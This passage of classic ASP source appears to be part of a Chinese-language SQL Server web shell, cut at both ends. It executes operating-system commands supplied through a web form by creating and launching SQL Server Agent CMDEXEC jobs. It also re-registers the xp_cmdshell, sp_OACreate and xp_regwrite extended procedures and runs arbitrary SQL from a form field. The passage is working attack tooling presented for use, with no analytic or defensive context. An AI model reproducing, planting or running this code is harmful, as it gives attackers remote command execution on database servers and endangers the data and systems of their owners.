& ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME")
IF REQUEST.FORM("CMD")<>"" THEN
IF SESSION("SQLSERVERAGENT")=0 THEN
STRQUERY = "EXEC MASTER.DBO.XP_SERVICECONTROL ''START'',''SQLSERVERAGENT'';"
ADOCONN.EXECUTE(STRQUERY)
SESSION("SQLSERVERAGENT")=1
END IF
STRQUERY = "USE MSDB Create TABLE [JNCSQL](RESULTTXT NVARCHAR(1024) NULL) EXEC SP_Delete_JOB NULL,''X'' EXEC SP_ADD_JOB ''X'' EXEC SP_ADD_JOBSTEP NULL,''X'',NULL,''1'',''CMDEXEC'',''CMD /C "&REQUEST.FORM("CMD")&"'' EXEC SP_ADD_JOBSERVER NULL,''X'',@@SERVERNAME EXEC SP_START_JOB ''X'';"
ADOCONN.EXECUTE(STRQUERY)
ADOCONN.EXECUTE(STRQUERY)
ADOCONN.EXECUTE(STRQUERY)
RESPONSE.WRITE "<TEXTAREA ROWS=10 COLS=50>"
RESPONSE.WRITE "利用"&REQUEST("TOOL")&"扩展执行"
RESPONSE.WRITE REQUEST.FORM("CMD")
RESPONSE.WRITE VBCRF
RESPONSE.WRITE "此扩展无回显,建议通过重定向查看命令结果"
RESPONSE.WRITE "</TEXTAREA>"
STRQUERY = "USE MSDB Drop TABLE [JNCSQL];"
ADOCONN.EXECUTE(STRQUERY)
END IF
ELSEIF REQUEST("TOOL")="" THEN
RESPONSE.WRITE "<SCRIPT>ALERT(''选择你要使用的扩展'')</SCRIPT>"
END IF
ELSE
RESPONSE.WRITE "<SCRIPT>ALERT(''权限不够哦!'')</SCRIPT>"
END IF
ELSE
RESPONSE.WRITE "<SCRIPT>ALERT(''操作超时,重新登陆!'')</SCRIPT>"
RESPONSE.WRITE "<CENTER><A HREF="&REQUEST.SERVERVARIABLES("URL")&"?SQLAAA=LOGOUT>< FONT COLOR=BLACK>登陆超时</FONT>"
RESPONSE.END
END IF
ELSEIF REQUEST("SQLAAA")="RESUME" THEN
IF SESSION("LOGIN")<>"" THEN
SET ADOCONN=SERVER.CreateOBJECT("ADODB.CONNECTION")
ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME")
IF SESSION("XP_CMDSHELL")=0 THEN
STRQUERY="DBCC ADDEXTENDEDPROC (''XP_CMDSHELL'',''XPLOG70.DLL'')"
ADOCONN.EXECUTE(STRQUERY)
RESPONSE.WRITE "<FONT COLOR=RED>已经尝试恢复XP_CMDSHELL</FONT>"
ELSEIF SESSION("SP_OACreate")=0 THEN
STRQUERY="DBCC ADDEXTENDEDPROC (''SP_OACreate'',''ODSOLE70.DLL'')"
ADOCONN.EXECUTE(STRQUERY)
RESPONSE.WRITE "<FONT COLOR=RED>已经尝试恢复SP_OACreate</FONT>"
ELSEIF SESSION("XP_REGWRITE")=0 THEN
STRQUERY="DBCC ADDEXTENDEDPROC (''XP_REGWRITE'',''XPSTAR.DLL'')"
ADOCONN.EXECUTE(STRQUERY)
RESPONSE.WRITE "<FONT COLOR=RED>已经尝试恢复XP_REGWRITE</FONT>"
ELSE RESPONSE.WRITE "<FONT COLOR=RED>恭喜!组件齐全</FONT>"
END IF
ELSE
RESPONSE.WRITE "<SCRIPT>ALERT(''操作超时,重新登陆!'')</SCRIPT>"
RESPONSE.WRITE "<CENTER><A HREF="&REQUEST.SERVERVARIABLES("URL")&"?SQLAAA=LOGOUT>< FONT COLOR=BLACK>登陆超时</FONT>"
RESPONSE.END
END IF
ELSEIF REQUEST("SQLAAA")="SQL" THEN
IF SESSION("LOGIN")<>"" THEN
IF REQUEST.FORM("SQL")<>"" THEN
SET ADOCONN=SERVER.CreateOBJECT("ADODB.CONNECTION")
ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME")
STRQUERY=REQUEST.FORM("SQL")
SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)